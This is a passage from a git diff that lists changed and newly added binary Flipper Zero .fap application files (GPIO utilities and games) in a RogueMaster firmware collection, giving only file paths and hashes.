RM, XFW)/RogueMaster/GPIO/gpio.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/gpio.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/gpio_7segment_output.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/gpio_7segment_output.fap index 06c60cd6..280c9cd4 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/gpio_7segment_output.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/gpio_7segment_output.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/gpio_badge.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/gpio_badge.fap index b456a305..4f0f851b 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/gpio_badge.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/gpio_badge.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/gpio_controller.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/gpio_controller.fap index 94e20b03..546892d8 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/gpio_controller.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/gpio_controller.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/gpio_intervalometer.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/gpio_intervalometer.fap index d391cc87..6cf365ea 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/gpio_intervalometer.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/gpio_intervalometer.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/gpio_pins_reader.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/gpio_pins_reader.fap index d7b53438..c75a2686 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/gpio_pins_reader.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/gpio_pins_reader.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/gpio_reader_b.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/gpio_reader_b.fap index 614c3b0e..c45195e8 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/gpio_reader_b.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/gpio_reader_b.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/gpio_rgb_led.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/gpio_rgb_led.fap index 4b68b691..c4efcfd7 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/gpio_rgb_led.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/gpio_rgb_led.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/gpio_sentry_safe.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/gpio_sentry_safe.fap index 64d5118f..eadb6684 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/gpio_sentry_safe.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/gpio_sentry_safe.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/gpio_wi2c.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/gpio_wi2c.fap index 8abbb2a8..ba9a4917 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/gpio_wi2c.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/gpio_wi2c.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/i2c_tools.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/i2c_tools.fap index 51dff807..1adf41dc 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/i2c_tools.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/i2c_tools.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/logic_analyzer.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/logic_analyzer.fap index 6af95376..95e997cb 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/logic_analyzer.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/logic_analyzer.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/lora_terminal.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/lora_terminal.fap index 72709f25..5fbdfa07 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/lora_terminal.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/lora_terminal.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/magspoof.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/magspoof.fap index c06d57b7..5027d637 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/magspoof.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/magspoof.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/mayhem_motion.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/mayhem_motion.fap index edfb9452..be15d16d 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/mayhem_motion.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/mayhem_motion.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/mx2125_accelerometer.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/mx2125_accelerometer.fap index 6d76b201..7b610287 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/mx2125_accelerometer.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/mx2125_accelerometer.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/nmea_gps.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/nmea_gps.fap index f1369ced..c2bc2f67 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/nmea_gps.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/nmea_gps.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/oscilloscope.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/oscilloscope.fap index d057abea..2fbce65f 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/oscilloscope.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/oscilloscope.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/pokemon_trading.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/pokemon_trading.fap index 6a1bfc2f..3f586704 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/pokemon_trading.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/pokemon_trading.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/radar_scanner.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/radar_scanner.fap index e7e31f59..c6498fd0 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/radar_scanner.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/radar_scanner.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/rc2014_coleco.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/rc2014_coleco.fap index 3b74cf66..259a4273 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/rc2014_coleco.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/rc2014_coleco.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/sd_spi_app.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/sd_spi_app.fap index 54ff58a9..b3e74663 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/sd_spi_app.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/sd_spi_app.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/servotester.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/servotester.fap index f721af71..3d207fac 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/servotester.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/servotester.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/servotester2.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/servotester2.fap index 679da62c..10cd821f 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/servotester2.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/servotester2.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/signal_generator.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/signal_generator.fap index 0c61d7cf..83cf9ddb 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/signal_generator.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/signal_generator.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/spi_mem_manager.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/spi_mem_manager.fap index e88f7a8d..10edb492 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/spi_mem_manager.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/spi_mem_manager.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/spotify_remote.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/spotify_remote.fap new file mode 100644 index 00000000..eb237541 Binary files /dev/null and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/spotify_remote.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/stepcounter.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/stepcounter.fap index e6809213..38a7fe00 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/stepcounter.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/stepcounter.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/swd_probe.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/swd_probe.fap index 6e3342e0..b6b3e017 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/swd_probe.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/swd_probe.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/uart_echo.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/uart_echo.fap index 376851b4..537d97fb 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/uart_echo.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/uart_echo.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/uart_terminal.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/uart_terminal.fap index d57b77ce..59f3de16 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/uart_terminal.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/uart_terminal.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/ublox.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/ublox.fap index 85490010..0372ad70 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/ublox.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/ublox.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/uhf_rfid.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/uhf_rfid.fap index 1f7a46d9..32b6f760 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/uhf_rfid.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/uhf_rfid.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/wav_recorder.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/wav_recorder.fap index b4a2c53e..c36775bb 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/wav_recorder.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/wav_recorder.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/wch_swio_flasher.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/wch_swio_flasher.fap index e3fc7cfe..a185c0ac 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/wch_swio_flasher.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/wch_swio_flasher.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/wiegand_reader.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/wiegand_reader.fap index b0dc9fdd..3066b10a 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/wiegand_reader.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/wiegand_reader.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/wii_ec_analyzer.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/wii_ec_analyzer.fap index 6b1f106d..81fde115 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/wii_ec_analyzer.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/wii_ec_analyzer.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/wire_tester.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/wire_tester.fap index e3084ba2..888b949a 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/wire_tester.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/wire_tester.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/ws2812b_tester_app.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/ws2812b_tester_app.fap index fed34124..8d06115e 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/ws2812b_tester_app.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/ws2812b_tester_app.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/yuricable_pro_max.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/yuricable_pro_max.fap index dc9aea0f..806e055b 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/yuricable_pro_max.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/yuricable_pro_max.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/2048.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/2048.fap index 35e8ff9a..81ce65fd 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/2048.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/2048.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/2048_improved.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/2048_improved.fap index 924570e2..466fa6f1 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/2048_improved.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/2048_improved.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/4_in_a_row.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/4_in_a_row.fap index 46f65a58..f29b432c 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/4_in_a_row.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/4_in_a_row.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/99.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/99.fap index a02ef26b..35ec231c 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/99.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/99.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/arkanoid.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/arkanoid.fap index fcbc2672..16884eb5 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/arkanoid.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/arkanoid.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/asteroids.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/asteroids.fap index d46e7614..0bb19cc3 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/asteroids.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/asteroids.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/blackjack.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/blackjack.fap index 18fc0989..77fd98ef 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/blackjack.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/blackjack.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/bomberduck.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/bomberduck.fap index f648e931..d48bacbd 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/bomberduck.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/bomberduck.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/chess.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/chess.fap index 9b47c722..3b2f7d70 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/chess.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/chess.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/chess_clock.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/chess_clock.fap index cf31ce89..51f4be78 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/chess_clock.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/chess_clock.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/citybloxx.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/citybloxx.fap index 3d3b41b9..e55850fe 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/citybloxx.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/citybloxx.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/color_guess.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/color_guess.fap index d3041a39..21cb05db 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/color_guess.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/color_guess.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/connect_wires.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/connect_wires.fap index 98a562c3..3a22c48e 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/connect_wires.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/connect_wires.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/connect_wires_2.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/connect_wires_2.fap new file mode 100644 index 00000000..6856a668 Binary files /dev/null and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/connect_wires_2.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/crossy_road.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/crossy_road.fap index a563c397..f71304a2 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/crossy_road.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/crossy_road.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/dice_rm.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/dice_rm.fap index 8594d4e6..80a5f971 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/dice_rm.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/dice_rm.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/dnd_dice_app.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/dnd_dice_app.fap index ef035ff3..00dde984 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/dnd_dice_app.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/dnd_dice_app.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/doom.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/doom.fap index 1743fa12..38830230 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/doom.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/doom.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/dvd_bouncer.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/dvd_bouncer.fap index 381f0180..b9dbddb2 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/dvd_bouncer.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/dvd_bouncer.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/etchasketch.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/etchasketch.fap index 17a39080..f753bf20 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/etchasketch.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/etchasketch.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/five_nights_at_flippers.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/five_nights_at_flippers.fap index 924fe26b..964f8af6 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/five_nights_at_flippers.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/five_nights_at_flippers.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/flappybird.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/flappybird.fap index 44eb9394..a6b6b180 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/flappybird.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/flappybird.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/flipper_hero.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/flipper_hero.fap new file mode 100644 index 00000000..4f5fc6a4 Binary files /dev/null and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/flipper_hero.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/flippy_road.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/flippy_road.fap new file mode 100644 index 00000000..672be7e5 Binary files /dev/null and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/flippy_road.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/game15.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/game15.fap index b2ba6e7a..95bc83e5 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/game15.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/game15.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/gameoflife.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/gameoflife.fap index a8ac369e..42a402e7 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/gameoflife.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/gameoflife.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/guess_the_number.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/guess_the_number.fap index d8e2d7b1..c4642778 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/guess_the_number.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/guess_the_number.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/hangman.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/hangman.fap index 94d744b2..ae1b5092 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/hangman.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/hangman.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/heap_defence.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/heap_defence.fap index 3b781d17..bc1c3334 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/heap_defence.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/heap_defence.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/jetpack.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/jetpack.fap index 1de8a89f..81c594ee 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/jetpack.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/jetpack.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/mandelbrotset.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/mandelbrotset.fap index ef837b5a..96c27c26 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/mandelbrotset.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/mandelbrotset.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/matagotchi.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/matagotchi.fap index cd76f74e..f86f2d0e 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/matagotchi.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/matagotchi.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/minesweeper.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/minesweeper.fap index ac40fcb8..6d9d2317 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/minesweeper.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/minesweeper.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/minesweeper_redux.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/minesweeper_redux.fap index 9dd6cb43..c2b6ab89 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/minesweeper_redux.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/minesweeper_redux.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/montyhall.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/montyhall.fap index e0b7a921..2f42e35b 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/montyhall.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/montyhall.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/multi_counter.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/multi_counter.fap index 6d46e0f0..34691891 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/multi_counter.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/multi_counter.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/nu_pogodi.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/nu_pogodi.fap index 49e90d0f..14a278f3 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/nu_pogodi.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/nu_pogodi.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/pacman.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/pacman.fap index 5db23067..5b0ea41b 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/pacman.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/pacman.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/paint.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/paint.fap index 23dd9acd..db205d4b 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/paint.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/paint.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/paper_plane.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/paper_plane.fap index 